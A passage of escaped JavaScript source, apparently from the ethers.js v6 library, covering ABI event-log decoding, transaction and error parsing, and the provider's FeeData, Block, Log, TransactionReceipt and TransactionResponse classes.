{\n if (param.type === \"string\") {\n topics.push(id(value));\n }\n else if (param.type === \"bytes\") {\n topics.push(keccak256(value));\n }\n else if (param.baseType === \"tuple\" || param.baseType === \"array\") {\n // @TODO\n throw new Error(\"not implemented\");\n }\n else {\n topics.push(this.#abiCoder.encode([param.type], [value]));\n }\n }\n else {\n dataTypes.push(param);\n dataValues.push(value);\n }\n });\n return {\n data: this.#abiCoder.encode(dataTypes, dataValues),\n topics: topics\n };\n }\n // Decode a filter for the event and the search criteria\n decodeEventLog(fragment, data, topics) {\n if (typeof (fragment) === \"string\") {\n const f = this.getEvent(fragment);\n assertArgument(f, \"unknown event\", \"eventFragment\", fragment);\n fragment = f;\n }\n if (topics != null && !fragment.anonymous) {\n const eventTopic = fragment.topicHash;\n assertArgument(isHexString(topics[0], 32) && topics[0].toLowerCase() === eventTopic, \"fragment/topic mismatch\", \"topics[0]\", topics[0]);\n topics = topics.slice(1);\n }\n const indexed = [];\n const nonIndexed = [];\n const dynamic = [];\n fragment.inputs.forEach((param, index) => {\n if (param.indexed) {\n if (param.type === \"string\" || param.type === \"bytes\" || param.baseType === \"tuple\" || param.baseType === \"array\") {\n indexed.push(ParamType.from({ type: \"bytes32\", name: param.name }));\n dynamic.push(true);\n }\n else {\n indexed.push(param);\n dynamic.push(false);\n }\n }\n else {\n nonIndexed.push(param);\n dynamic.push(false);\n }\n });\n const resultIndexed = (topics != null) ? this.#abiCoder.decode(indexed, concat(topics)) : null;\n const resultNonIndexed = this.#abiCoder.decode(nonIndexed, data, true);\n //const result: (Array & { [ key: string ]: any }) = [ ];\n const values = [];\n const keys = [];\n let nonIndexedIndex = 0, indexedIndex = 0;\n fragment.inputs.forEach((param, index) => {\n let value = null;\n if (param.indexed) {\n if (resultIndexed == null) {\n value = new Indexed(null);\n }\n else if (dynamic[index]) {\n value = new Indexed(resultIndexed[indexedIndex++]);\n }\n else {\n try {\n value = resultIndexed[indexedIndex++];\n }\n catch (error) {\n value = error;\n }\n }\n }\n else {\n try {\n value = resultNonIndexed[nonIndexedIndex++];\n }\n catch (error) {\n value = error;\n }\n }\n values.push(value);\n keys.push(param.name || null);\n });\n return Result.fromItems(values, keys);\n }\n /**\n * Parses a transaction, finding the matching function and extracts\n * the parameter values along with other useful function details.\n *\n * If the matching function cannot be found, return null.\n */\n parseTransaction(tx) {\n const data = getBytes(tx.data, \"tx.data\");\n const value = getBigInt((tx.value != null) ? tx.value : 0, \"tx.value\");\n const fragment = this.getFunction(hexlify(data.slice(0, 4)));\n if (!fragment) {\n return null;\n }\n const args = this.#abiCoder.decode(fragment.inputs, data.slice(4));\n return new TransactionDescription(fragment, fragment.selector, args, value);\n }\n parseCallResult(data) {\n throw new Error(\"@TODO\");\n }\n /**\n * Parses a receipt log, finding the matching event and extracts\n * the parameter values along with other useful event details.\n *\n * If the matching event cannot be found, returns null.\n */\n parseLog(log) {\n const fragment = this.getEvent(log.topics[0]);\n if (!fragment || fragment.anonymous) {\n return null;\n }\n // @TODO: If anonymous, and the only method, and the input count matches, should we parse?\n // Probably not, because just because it is the only event in the ABI does\n // not mean we have the full ABI; maybe just a fragment?\n return new LogDescription(fragment, fragment.topicHash, this.decodeEventLog(fragment, log.data, log.topics));\n }\n /**\n * Parses a revert data, finding the matching error and extracts\n * the parameter values along with other useful error details.\n *\n * If the matching error cannot be found, returns null.\n */\n parseError(data) {\n const hexData = hexlify(data);\n const fragment = this.getError(dataSlice(hexData, 0, 4));\n if (!fragment) {\n return null;\n }\n const args = this.#abiCoder.decode(fragment.inputs, dataSlice(hexData, 4));\n return new ErrorDescription(fragment, fragment.selector, args);\n }\n /**\n * Creates a new [[Interface]] from the ABI %%value%%.\n *\n * The %%value%% may be provided as an existing [[Interface]] object,\n * a JSON-encoded ABI or any Human-Readable ABI format.\n */\n static from(value) {\n // Already an Interface, which is immutable\n if (value instanceof Interface) {\n return value;\n }\n // JSON\n if (typeof (value) === \"string\") {\n return new Interface(JSON.parse(value));\n }\n // An Interface; possibly from another v6 instance\n if (typeof (value.formatJson) === \"function\") {\n return new Interface(value.formatJson());\n }\n // A legacy Interface; from an older version\n if (typeof (value.format) === \"function\") {\n return new Interface(value.format(\"json\"));\n }\n // Array of fragments\n return new Interface(value);\n }\n}\n//# sourceMappingURL=interface.js.map","//import { resolveAddress } from \"@ethersproject/address\";\nimport { defineProperties, getBigInt, getNumber, hexlify, isBytesLike, resolveProperties, assert, assertArgument, isError, makeError } from \"../utils/index.js\";\nimport { accessListify } from \"../transaction/index.js\";\nconst BN_0 = BigInt(0);\n// -----------------------\nfunction getValue(value) {\n if (value == null) {\n return null;\n }\n return value;\n}\nfunction toJson(value) {\n if (value == null) {\n return null;\n }\n return value.toString();\n}\n// @TODO? implements Required\n/**\n * A **FeeData** wraps all the fee-related values associated with\n * the network.\n */\nexport class FeeData {\n /**\n * The gas price for legacy networks.\n */\n gasPrice;\n /**\n * The maximum fee to pay per gas.\n *\n * The base fee per gas is defined by the network and based on\n * congestion, increasing the cost during times of heavy load\n * and lowering when less busy.\n *\n * The actual fee per gas will be the base fee for the block\n * and the priority fee, up to the max fee per gas.\n *\n * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559))\n */\n maxFeePerGas;\n /**\n * The additional amout to pay per gas to encourage a validator\n * to include the transaction.\n *\n * The purpose of this is to compensate the validator for the\n * adjusted risk for including a given transaction.\n *\n * This will be ``null`` on legacy networks (i.e. [pre-EIP-1559](link-eip-1559))\n */\n maxPriorityFeePerGas;\n /**\n * Creates a new FeeData for %%gasPrice%%, %%maxFeePerGas%% and\n * %%maxPriorityFeePerGas%%.\n */\n constructor(gasPrice, maxFeePerGas, maxPriorityFeePerGas) {\n defineProperties(this, {\n gasPrice: getValue(gasPrice),\n maxFeePerGas: getValue(maxFeePerGas),\n maxPriorityFeePerGas: getValue(maxPriorityFeePerGas)\n });\n }\n /**\n * Returns a JSON-friendly value.\n */\n toJSON() {\n const { gasPrice, maxFeePerGas, maxPriorityFeePerGas } = this;\n return {\n _type: \"FeeData\",\n gasPrice: toJson(gasPrice),\n maxFeePerGas: toJson(maxFeePerGas),\n maxPriorityFeePerGas: toJson(maxPriorityFeePerGas),\n };\n }\n}\n;\n/**\n * Returns a copy of %%req%% with all properties coerced to their strict\n * types.\n */\nexport function copyRequest(req) {\n const result = {};\n // These could be addresses, ENS names or Addressables\n if (req.to) {\n result.to = req.to;\n }\n if (req.from) {\n result.from = req.from;\n }\n if (req.data) {\n result.data = hexlify(req.data);\n }\n const bigIntKeys = \"chainId,gasLimit,gasPrice,maxFeePerBlobGas,maxFeePerGas,maxPriorityFeePerGas,value\".split(/,/);\n for (const key of bigIntKeys) {\n if (!(key in req) || req[key] == null) {\n continue;\n }\n result[key] = getBigInt(req[key], `request.${key}`);\n }\n const numberKeys = \"type,nonce\".split(/,/);\n for (const key of numberKeys) {\n if (!(key in req) || req[key] == null) {\n continue;\n }\n result[key] = getNumber(req[key], `request.${key}`);\n }\n if (req.accessList) {\n result.accessList = accessListify(req.accessList);\n }\n if (req.authorizationList) {\n result.authorizationList = req.authorizationList.slice();\n }\n if (\"blockTag\" in req) {\n result.blockTag = req.blockTag;\n }\n if (\"enableCcipRead\" in req) {\n result.enableCcipRead = !!req.enableCcipRead;\n }\n if (\"customData\" in req) {\n result.customData = req.customData;\n }\n if (\"blobVersionedHashes\" in req && req.blobVersionedHashes) {\n result.blobVersionedHashes = req.blobVersionedHashes.slice();\n }\n if (\"kzg\" in req) {\n result.kzg = req.kzg;\n }\n if (\"blobs\" in req && req.blobs) {\n result.blobs = req.blobs.map((b) => {\n if (isBytesLike(b)) {\n return hexlify(b);\n }\n return Object.assign({}, b);\n });\n }\n return result;\n}\n/**\n * A **Block** represents the data associated with a full block on\n * Ethereum.\n */\nexport class Block {\n /**\n * The provider connected to the block used to fetch additional details\n * if necessary.\n */\n provider;\n /**\n * The block number, sometimes called the block height. This is a\n * sequential number that is one higher than the parent block.\n */\n number;\n /**\n * The block hash.\n *\n * This hash includes all properties, so can be safely used to identify\n * an exact set of block properties.\n */\n hash;\n /**\n * The timestamp for this block, which is the number of seconds since\n * epoch that this block was included.\n */\n timestamp;\n /**\n * The block hash of the parent block.\n */\n parentHash;\n /**\n * The hash tree root of the parent beacon block for the given\n * execution block. See [[link-eip-4788]].\n */\n parentBeaconBlockRoot;\n /**\n * The nonce.\n *\n * On legacy networks, this is the random number inserted which\n * permitted the difficulty target to be reached.\n */\n nonce;\n /**\n * The difficulty target.\n *\n * On legacy networks, this is the proof-of-work target required\n * for a block to meet the protocol rules to be included.\n *\n * On modern networks, this is a random number arrived at using\n * randao. @TODO: Find links?\n */\n difficulty;\n /**\n * The total gas limit for this block.\n */\n gasLimit;\n /**\n * The total gas used in this block.\n */\n gasUsed;\n /**\n * The root hash for the global state after applying changes\n * in this block.\n */\n stateRoot;\n /**\n * The hash of the transaction receipts trie.\n */\n receiptsRoot;\n /**\n * The total amount of blob gas consumed by the transactions\n * within the block. See [[link-eip-4844]].\n */\n blobGasUsed;\n /**\n * The running total of blob gas consumed in excess of the\n * target, prior to the block. See [[link-eip-4844]].\n */\n excessBlobGas;\n /**\n * The miner coinbase address, wihch receives any subsidies for\n * including this block.\n */\n miner;\n /**\n * The latest RANDAO mix of the post beacon state of\n * the previous block.\n */\n prevRandao;\n /**\n * Any extra data the validator wished to include.\n */\n extraData;\n /**\n * The base fee per gas that all transactions in this block were\n * charged.\n *\n * This adjusts after each block, depending on how congested the network\n * is.\n */\n baseFeePerGas;\n #transactions;\n /**\n * Create a new **Block** object.\n *\n * This should generally not be necessary as the unless implementing a\n * low-level library.\n */\n constructor(block, provider) {\n this.#transactions = block.transactions.map((tx) => {\n if (typeof (tx) !== \"string\") {\n return new TransactionResponse(tx, provider);\n }\n return tx;\n });\n defineProperties(this, {\n provider,\n hash: getValue(block.hash),\n number: block.number,\n timestamp: block.timestamp,\n parentHash: block.parentHash,\n parentBeaconBlockRoot: block.parentBeaconBlockRoot,\n nonce: block.nonce,\n difficulty: block.difficulty,\n gasLimit: block.gasLimit,\n gasUsed: block.gasUsed,\n blobGasUsed: block.blobGasUsed,\n excessBlobGas: block.excessBlobGas,\n miner: block.miner,\n prevRandao: getValue(block.prevRandao),\n extraData: block.extraData,\n baseFeePerGas: getValue(block.baseFeePerGas),\n stateRoot: block.stateRoot,\n receiptsRoot: block.receiptsRoot,\n });\n }\n /**\n * Returns the list of transaction hashes, in the order\n * they were executed within the block.\n */\n get transactions() {\n return this.#transactions.map((tx) => {\n if (typeof (tx) === \"string\") {\n return tx;\n }\n return tx.hash;\n });\n }\n /**\n * Returns the complete transactions, in the order they\n * were executed within the block.\n *\n * This is only available for blocks which prefetched\n * transactions, by passing ``true`` to %%prefetchTxs%%\n * into [[Provider-getBlock]].\n */\n get prefetchedTransactions() {\n const txs = this.#transactions.slice();\n // Doesn't matter...\n if (txs.length === 0) {\n return [];\n }\n // Make sure we prefetched the transactions\n assert(typeof (txs[0]) === \"object\", \"transactions were not prefetched with block request\", \"UNSUPPORTED_OPERATION\", {\n operation: \"transactionResponses()\"\n });\n return txs;\n }\n /**\n * Returns a JSON-friendly value.\n */\n toJSON() {\n const { baseFeePerGas, difficulty, extraData, gasLimit, gasUsed, hash, miner, prevRandao, nonce, number, parentHash, parentBeaconBlockRoot, stateRoot, receiptsRoot, timestamp, transactions } = this;\n return {\n _type: \"Block\",\n baseFeePerGas: toJson(baseFeePerGas),\n difficulty: toJson(difficulty),\n extraData,\n gasLimit: toJson(gasLimit),\n gasUsed: toJson(gasUsed),\n blobGasUsed: toJson(this.blobGasUsed),\n excessBlobGas: toJson(this.excessBlobGas),\n hash, miner, prevRandao, nonce, number, parentHash, timestamp,\n parentBeaconBlockRoot, stateRoot, receiptsRoot,\n transactions,\n };\n }\n [Symbol.iterator]() {\n let index = 0;\n const txs = this.transactions;\n return {\n next: () => {\n if (index < this.length) {\n return {\n value: txs[index++], done: false\n };\n }\n return { value: undefined, done: true };\n }\n };\n }\n /**\n * The number of transactions in this block.\n */\n get length() { return this.#transactions.length; }\n /**\n * The [[link-js-date]] this block was included at.\n */\n get date() {\n if (this.timestamp == null) {\n return null;\n }\n return new Date(this.timestamp * 1000);\n }\n /**\n * Get the transaction at %%indexe%% within this block.\n */\n async getTransaction(indexOrHash) {\n // Find the internal value by its index or hash\n let tx = undefined;\n if (typeof (indexOrHash) === \"number\") {\n tx = this.#transactions[indexOrHash];\n }\n else {\n const hash = indexOrHash.toLowerCase();\n for (const v of this.#transactions) {\n if (typeof (v) === \"string\") {\n if (v !== hash) {\n continue;\n }\n tx = v;\n break;\n }\n else {\n if (v.hash !== hash) {\n continue;\n }\n tx = v;\n break;\n }\n }\n }\n if (tx == null) {\n throw new Error(\"no such tx\");\n }\n if (typeof (tx) === \"string\") {\n return (await this.provider.getTransaction(tx));\n }\n else {\n return tx;\n }\n }\n /**\n * If a **Block** was fetched with a request to include the transactions\n * this will allow synchronous access to those transactions.\n *\n * If the transactions were not prefetched, this will throw.\n */\n getPrefetchedTransaction(indexOrHash) {\n const txs = this.prefetchedTransactions;\n if (typeof (indexOrHash) === \"number\") {\n return txs[indexOrHash];\n }\n indexOrHash = indexOrHash.toLowerCase();\n for (const tx of txs) {\n if (tx.hash === indexOrHash) {\n return tx;\n }\n }\n assertArgument(false, \"no matching transaction\", \"indexOrHash\", indexOrHash);\n }\n /**\n * Returns true if this block been mined. This provides a type guard\n * for all properties on a [[MinedBlock]].\n */\n isMined() { return !!this.hash; }\n /**\n * Returns true if this block is an [[link-eip-2930]] block.\n */\n isLondon() {\n return !!this.baseFeePerGas;\n }\n /**\n * @_ignore:\n */\n orphanedEvent() {\n if (!this.isMined()) {\n throw new Error(\"\");\n }\n return createOrphanedBlockFilter(this);\n }\n}\n//////////////////////\n// Log\n/**\n * A **Log** in Ethereum represents an event that has been included in a\n * transaction using the ``LOG*`` opcodes, which are most commonly used by\n * Solidity's emit for announcing events.\n */\nexport class Log {\n /**\n * The provider connected to the log used to fetch additional details\n * if necessary.\n */\n provider;\n /**\n * The transaction hash of the transaction this log occurred in. Use the\n * [[Log-getTransaction]] to get the [[TransactionResponse]].\n */\n transactionHash;\n /**\n * The block hash of the block this log occurred in. Use the\n * [[Log-getBlock]] to get the [[Block]].\n */\n blockHash;\n /**\n * The block number of the block this log occurred in. It is preferred\n * to use the [[Block-hash]] when fetching the related [[Block]],\n * since in the case of an orphaned block, the block at that height may\n * have changed.\n */\n blockNumber;\n /**\n * If the **Log** represents a block that was removed due to an orphaned\n * block, this will be true.\n *\n * This can only happen within an orphan event listener.\n */\n removed;\n /**\n * The address of the contract that emitted this log.\n */\n address;\n /**\n * The data included in this log when it was emitted.\n */\n data;\n /**\n * The indexed topics included in this log when it was emitted.\n *\n * All topics are included in the bloom filters, so they can be\n * efficiently filtered using the [[Provider-getLogs]] method.\n */\n topics;\n /**\n * The index within the block this log occurred at. This is generally\n * not useful to developers, but can be used with the various roots\n * to proof inclusion within a block.\n */\n index;\n /**\n * The index within the transaction of this log.\n */\n transactionIndex;\n /**\n * @_ignore:\n */\n constructor(log, provider) {\n this.provider = provider;\n const topics = Object.freeze(log.topics.slice());\n defineProperties(this, {\n transactionHash: log.transactionHash,\n blockHash: log.blockHash,\n blockNumber: log.blockNumber,\n removed: log.removed,\n address: log.address,\n data: log.data,\n topics,\n index: log.index,\n transactionIndex: log.transactionIndex,\n });\n }\n /**\n * Returns a JSON-compatible object.\n */\n toJSON() {\n const { address, blockHash, blockNumber, data, index, removed, topics, transactionHash, transactionIndex } = this;\n return {\n _type: \"log\",\n address, blockHash, blockNumber, data, index,\n removed, topics, transactionHash, transactionIndex\n };\n }\n /**\n * Returns the block that this log occurred in.\n */\n async getBlock() {\n const block = await this.provider.getBlock(this.blockHash);\n assert(!!block, \"failed to find transaction\", \"UNKNOWN_ERROR\", {});\n return block;\n }\n /**\n * Returns the transaction that this log occurred in.\n */\n async getTransaction() {\n const tx = await this.provider.getTransaction(this.transactionHash);\n assert(!!tx, \"failed to find transaction\", \"UNKNOWN_ERROR\", {});\n return tx;\n }\n /**\n * Returns the transaction receipt fot the transaction that this\n * log occurred in.\n */\n async getTransactionReceipt() {\n const receipt = await this.provider.getTransactionReceipt(this.transactionHash);\n assert(!!receipt, \"failed to find transaction receipt\", \"UNKNOWN_ERROR\", {});\n return receipt;\n }\n /**\n * @_ignore:\n */\n removedEvent() {\n return createRemovedLogFilter(this);\n }\n}\n//////////////////////\n// Transaction Receipt\n/*\nexport interface LegacyTransactionReceipt {\n byzantium: false;\n status: null;\n root: string;\n}\n\nexport interface ByzantiumTransactionReceipt {\n byzantium: true;\n status: number;\n root: null;\n}\n*/\n/**\n * A **TransactionReceipt** includes additional information about a\n * transaction that is only available after it has been mined.\n */\nexport class TransactionReceipt {\n /**\n * The provider connected to the log used to fetch additional details\n * if necessary.\n */\n provider;\n /**\n * The address the transaction was sent to.\n */\n to;\n /**\n * The sender of the transaction.\n */\n from;\n /**\n * The address of the contract if the transaction was directly\n * responsible for deploying one.\n *\n * This is non-null **only** if the ``to`` is empty and the ``data``\n * was successfully executed as initcode.\n */\n contractAddress;\n /**\n * The transaction hash.\n */\n hash;\n /**\n * The index of this transaction within the block transactions.\n */\n index;\n /**\n * The block hash of the [[Block]] this transaction was included in.\n */\n blockHash;\n /**\n * The block number of the [[Block]] this transaction was included in.\n */\n blockNumber;\n /**\n * The bloom filter bytes that represent all logs that occurred within\n * this transaction. This is generally not useful for most developers,\n * but can be used to validate the included logs.\n */\n logsBloom;\n /**\n * The actual amount of gas used by this transaction.\n *\n * When creating a transaction, the amount of gas that will be used can\n * only be approximated, but the sender must pay the gas fee for the\n * entire gas limit. After the transaction, the difference is refunded.\n */\n gasUsed;\n /**\n * The gas used for BLObs. See [[link-eip-4844]].\n */\n blobGasUsed;\n /**\n * The amount of gas used by all transactions within the block for this\n * and all transactions with a lower ``index``.\n *\n * This is generally not useful for developers but can be used to\n * validate certain aspects of execution.\n */\n cumulativeGasUsed;\n /**\n * The actual gas price used during execution.\n *\n * Due to the complexity of [[link-eip-1559]] this value can only\n * be caluclated after the transaction has been mined, snce the base\n * fee is protocol-enforced.\n */\n gasPrice;\n /**\n * The price paid per BLOB in gas. See [[link-eip-4844]].\n */\n blobGasPrice;\n /**\n * The [[link-eip-2718]] transaction type.\n */\n type;\n //readonly byzantium!: boolean;\n /**\n * The status of this transaction, indicating success (i.e. ``1``) or\n * a revert (i.e. ``0``).\n *\n * This is available in post-byzantium blocks, but some backends may\n * backfill this value.\n */\n status;\n /**\n * The root hash of this transaction.\n *\n * This is no present and was only included in pre-byzantium blocks, but\n * could be used to validate certain parts of the receipt.\n */\n root;\n #logs;\n /**\n * @_ignore:\n */\n constructor(tx, provider) {\n this.#logs = Object.freeze(tx.logs.map((log) => {\n return new Log(log, provider);\n }));\n let gasPrice = BN_0;\n if (tx.effectiveGasPrice != null) {\n gasPrice = tx.effectiveGasPrice;\n }\n else if (tx.gasPrice != null) {\n gasPrice = tx.gasPrice;\n }\n defineProperties(this, {\n provider,\n to: tx.to,\n from: tx.from,\n contractAddress: tx.contractAddress,\n hash: tx.hash,\n index: tx.index,\n blockHash: tx.blockHash,\n blockNumber: tx.blockNumber,\n logsBloom: tx.logsBloom,\n gasUsed: tx.gasUsed,\n cumulativeGasUsed: tx.cumulativeGasUsed,\n blobGasUsed: tx.blobGasUsed,\n gasPrice,\n blobGasPrice: tx.blobGasPrice,\n type: tx.type,\n //byzantium: tx.byzantium,\n status: tx.status,\n root: tx.root\n });\n }\n /**\n * The logs for this transaction.\n */\n get logs() { return this.#logs; }\n /**\n * Returns a JSON-compatible representation.\n */\n toJSON() {\n const { to, from, contractAddress, hash, index, blockHash, blockNumber, logsBloom, logs, //byzantium, \n status, root } = this;\n return {\n _type: \"TransactionReceipt\",\n blockHash, blockNumber,\n //byzantium, \n contractAddress,\n cumulativeGasUsed: toJson(this.cumulativeGasUsed),\n from,\n gasPrice: toJson(this.gasPrice),\n blobGasUsed: toJson(this.blobGasUsed),\n blobGasPrice: toJson(this.blobGasPrice),\n gasUsed: toJson(this.gasUsed),\n hash, index, logs, logsBloom, root, status, to\n };\n }\n /**\n * @_ignore:\n */\n get length() { return this.logs.length; }\n [Symbol.iterator]() {\n let index = 0;\n return {\n next: () => {\n if (index < this.length) {\n return { value: this.logs[index++], done: false };\n }\n return { value: undefined, done: true };\n }\n };\n }\n /**\n * The total fee for this transaction, in wei.\n */\n get fee() {\n return this.gasUsed * this.gasPrice;\n }\n /**\n * Resolves to the block this transaction occurred in.\n */\n async getBlock() {\n const block = await this.provider.getBlock(this.blockHash);\n if (block == null) {\n throw new Error(\"TODO\");\n }\n return block;\n }\n /**\n * Resolves to the transaction this transaction occurred in.\n */\n async getTransaction() {\n const tx = await this.provider.getTransaction(this.hash);\n if (tx == null) {\n throw new Error(\"TODO\");\n }\n return tx;\n }\n /**\n * Resolves to the return value of the execution of this transaction.\n *\n * Support for this feature is limited, as it requires an archive node\n * with the ``debug_`` or ``trace_`` API enabled.\n */\n async getResult() {\n return (await this.provider.getTransactionResult(this.hash));\n }\n /**\n * Resolves to the number of confirmations this transaction has.\n */\n async confirmations() {\n return (await this.provider.getBlockNumber()) - this.blockNumber + 1;\n }\n /**\n * @_ignore:\n */\n removedEvent() {\n return createRemovedTransactionFilter(this);\n }\n /**\n * @_ignore:\n */\n reorderedEvent(other) {\n assert(!other || other.isMined(), \"unmined 'other' transction cannot be orphaned\", \"UNSUPPORTED_OPERATION\", { operation: \"reorderedEvent(other)\" });\n return createReorderedTransactionFilter(this, other);\n }\n}\n/**\n * A **TransactionResponse** includes all properties about a transaction\n * that was sent to the network, which may or may not be included in a\n * block.\n *\n * The [[TransactionResponse-isMined]] can be used to check if the\n * transaction has been mined as well as type guard that the otherwise\n * possibly ``null`` properties are defined.\n */\nexport class TransactionResponse {\n /**\n * The provider this is connected to, which will influence how its\n * methods will resolve its async inspection methods.\n */\n provider;\n /**\n * The block number of the block that this transaction was included in.\n *\n * This is ``null`` for pending transactions.\n */\n blockNumber;\n /**\n * The blockHash of the block that this transaction was included in.\n *\n * This is ``null`` for pending transactions.\n */\n blockHash;\n /**\n * The index within the block that this transaction resides at.\n */\n index;\n /**\n * The transaction hash.\n */\n hash;\n /**\n * The [[link-eip-2718]] transaction envelope type. This is\n * ``0`` for legacy transactions types.\n */\n type;\n /**\n * The receiver of this transaction.\n *\n * If ``null``, then the transaction is an initcode transaction.\n * This means the result of executing the [[data]] will be deployed\n * as a new contract on chain (assuming it does not revert) and the\n * address may be computed using [[getCreateAddress]].\n */\n to;\n /**\n * The sender of this transaction. It is implicitly computed\n * from the transaction pre-image hash (as the digest) and the\n * [[signature]] using ecrecover.\n */\n from;\n /**\n * The nonce, which is used to prevent replay attacks and offer\n * a method to ensure transactions from a given sender are explicitly\n * ordered.\n *\n * When sending a transaction, this must be equal to the number of\n * transactions ever sent by [[from]].\n */\n nonce;\n /**\n * The maximum units of gas this transaction can consume. If execution\n * exceeds this, the entries transaction is reverted and the sender\n * is charged for the full amount, despite not state changes being made.\n */\n gasLimit;\n /**\n * The gas price can have various values, depending on the network.\n *\n * In modern networks, for transactions that are included this is\n * the //effective gas price// (the fee per gas that was actually\n * charged), while for transactions that have not been included yet\n * is the [[maxFeePerGas]].\n *\n * For legacy transactions, or transactions on legacy networks, this\n * is the fee that will be charged per unit of gas the transaction\n * consumes.\n */\n gasPrice;\n /**\n * The maximum priority fee (per unit of gas) to allow a\n * validator to charge the sender. This is inclusive of the\n * [[maxFeeFeePerGas]].\n */\n maxPriorityFeePerGas;\n /**\n * The maximum fee (per unit of gas) to allow this transaction\n * to charge the sender.\n */\n maxFeePerGas;\n /**\n * The [[link-eip-4844]] max fee per BLOb gas.\n */\n maxFeePerBlobGas;\n /**\n * The data.\n */\n data;\n /**\n * The value, in wei. Use [[formatEther]] to format this value\n * as ether.\n */\n value;\n /**\n * The chain ID.\n */\n chainId;\n /**\n * The signature.\n */\n signature;\n /**\n * The [[link-eip-2930]] access list for transaction types that\n * support it, otherwise ``null``.\n */\n accessList;\n /**\n * The [[link-eip-4844]] BLOb versioned hashes.\n */\n blobVersionedHashes;\n /**\n * The [[link-eip-7702]] authorizations (if any).\n */\n authorizationList;\n #startBlock;\n /**\n * @_ignore:\n */\n constructor(tx, provider) {\n this.provider = provider;\n this.blockNumber = (tx.blockNumber != null) ? tx.blockNumber : null;\n this.blockHash = (tx.blockHash != null) ? tx.blockHash : null;\n this.hash = tx.hash;\n this.index = tx.index;\n this.type = tx.type;\n this.from = tx.from;\n this.to = tx.to || null;\n this.gasLimit = tx.gasLimit;\n this.nonce = tx.nonce;\n this.data = tx.data;\n this.value = tx.value;\n this.gasPrice = tx.gasPrice;\n this.maxPriorityFeePerGas = (tx.maxPriorityFeePerGas != null) ? tx.maxPriorityFeePerGas : null;\n this.maxFeePerGas = (tx.maxFeePerGas != null) ? tx.maxFeePerGas : null;\n this.maxFeePerBlobGas = (tx.maxFeePerBlobGas != null) ? tx.maxFeePerBlobGas : null;\n this.chainId = tx.chainId;\n this.signature = tx.signature;\n this.accessList = (tx.accessList != null) ? tx.accessList : null;\n this.blobVersionedHashes = (tx.blobVersionedHashes != null) ? tx.blobVersionedHashes : null;\n this.authorizationList = (tx.authorizationList != null) ? tx.authorizationList : null;\n this.#startBlock = -1;\n }\n /**\n * Returns a JSON-compatible representation of this transaction.\n */\n toJSON() {\n const { blockNumber, blockHash, index, hash, type, to, from, nonce, data, signature, accessList, blobVersionedHashes } = this;\n return {\n _type: \"TransactionResponse\",\n accessList, blockNumber, blockHash,\n blobVersionedHashes,\n chainId: toJson(this.chainId),\n data, from,\n gasLimit: toJson(this.gasLimit),\n gasPrice: toJson(this.gasPrice),\n hash,\n maxFeePerGas: toJson(this.maxFeePerGas),\n maxPriorityFeePerGas: toJson(this.maxPriorityFeePerGas),\n maxFeePerBlobGas: toJson(this.maxFeePerBlobGas),\n nonce, signature, to, index, type,\n value: toJson(this.value),\n };\n }\n /**\n * Resolves to the Block that this transaction was included in.\n *\n * This will return null if the transaction has not been included yet.\n */\n async getBlock() {\n let blockNumber = this.blockNumber;\n if (blockNumber == null) {\n const tx = await this.getTransaction();\n if (tx) {\n blockNumber = tx.blockNumber;\n }\n }\n if (blockNumber == null) {\n return null;\n }\n const block = this.provider.getBlock(blockNumber);\n if (block == null) {\n throw new Error(\"TODO\");\n }\n return block;\n }\n /**\n * Resolves to this transaction being re-requested from the\n * provider. This can be used if you have an unmined transaction\n * and wish to get an up-to-date populated instance.\n */\n async getTransaction() {\n return this.provider.getTransaction(this.hash);\n }\n /**\n * Resolve to the number of confirmations this transaction has.\n */\n async confirmations() {\n if (this.blockNumber == null) {\n const { tx, blockNumber } = await resolveProperties({\n tx: this.getTransaction(),\n blockNumber: this.provider.getBlockNumber()\n });\n // Not mined yet...\n if (tx == null || tx.blockNumber == null) {\n return 0;\n }\n return blockNumber - tx.blockNumber + 1;\n }\n const blockNumber = await this.provider.getBlockNumber();\n return blockNumber - this.blockNumber + 1;\n }\n /**\n * Resolves once this transaction has been mined and has\n * %%confirms%% blocks including it (default: ``1``) with an\n * optional %%timeout%%.\n *\n * This can resolve to ``null`` only if %%confirms%% is ``0``\n * and the transaction has not been mined, otherwise this will\n * wait until enough confirmations have completed.\n */\n async wait(_confirms, _timeout) {\n const confirms = (_confirms == null) ? 1 : _confirms;\n const timeout = (_timeout == null) ? 0 : _timeout;\n let startBlock = this.#startBlock;\n let nextScan = -1;\n let stopScanning = (startBlock === -1) ? true : false;\n const checkReplacement = async () => {\n // Get the current transaction count for this sender\n if (stopScanning) {\n return null;\n }\n const { blockNumber, nonce } = await resolveProperties({\n blockNumber: this.provider.getBlockNumber(),\n nonce: this.provider.getTransactionCount(this.from)\n });\n // No transaction or our nonce has not been mined yet; but we\n // can start scanning later when we do start\n if (nonce < this.nonce) {\n startBlock = blockNumber;\n return;\n }\n // We were mined; no replacement\n if (stopScanning) {\n return null;\n }\n const mined = await this.getTransaction();\n if (mined && mined.blockNumber != null) {\n return;\n }\n // We were replaced; start scanning for that transaction\n // Starting to scan; look back a few extra blocks for safety\n if (nextScan === -1) {\n nextScan = startBlock - 3;\n if (nextScan < this.#startBlock) {\n nextScan = this.#startBlock;\n }\n }\n while (nextScan <= blockNumber) {\n // Get the next block to scan\n if (stopScanning) {\n return null;\n }\n const block = await this.provider.getBlock(nextScan, true);\n // This should not happen; but we'll try again shortly\n if (block == null) {\n return;\n }\n // We were mined; no replacement\n for (const hash of block) {\n if (hash === this.hash) {\n return;\n }\n }\n // Search for the transaction that replaced us\n for (let i = 0; i < block.length; i++) {\n const tx = await block.getTransaction(i);\n if (tx.from === this.from && tx.nonce === this.nonce) {\n // Get the receipt\n if (stopScanning) {\n return null;\n }\n const receipt = await this.provider.getTransactionReceipt(tx.hash);\n // This should not happen; but we'll try again shortly\n if (receipt == null) {\n return;\n }\n // We will retry this on the next block (this case could be optimized)\n if ((blockNumber - receipt.blockNumber + 1) < confirms) {\n return;\n }\n // The reason we were replaced\n let reason = \"replaced\";\n if (tx.data === this.data && tx.to === this.to && tx.value === this.value) {\n reason = \"repriced\";\n }\n else if (tx.data === \"0x\" && tx.from === tx.to && tx.value === BN_0) {\n reason = \"cancelled\";\n }\n assert(false, \"transaction was replaced\", \"TRANSACTION_REPLACED\", {\n cancelled: (reason === \"replaced\" || reason === \"cancelled\"),\n reason,\n replacement: tx.replaceableTransaction(startBlock),\n hash: tx.hash,\n receipt\n });\n }\n }\n nextScan++;\n }\n return;\n };\n const checkReceipt = (receipt) => {\n if (receipt == null || receipt.status !== 0) {\n return receipt;\n }\n assert(false, \"transaction 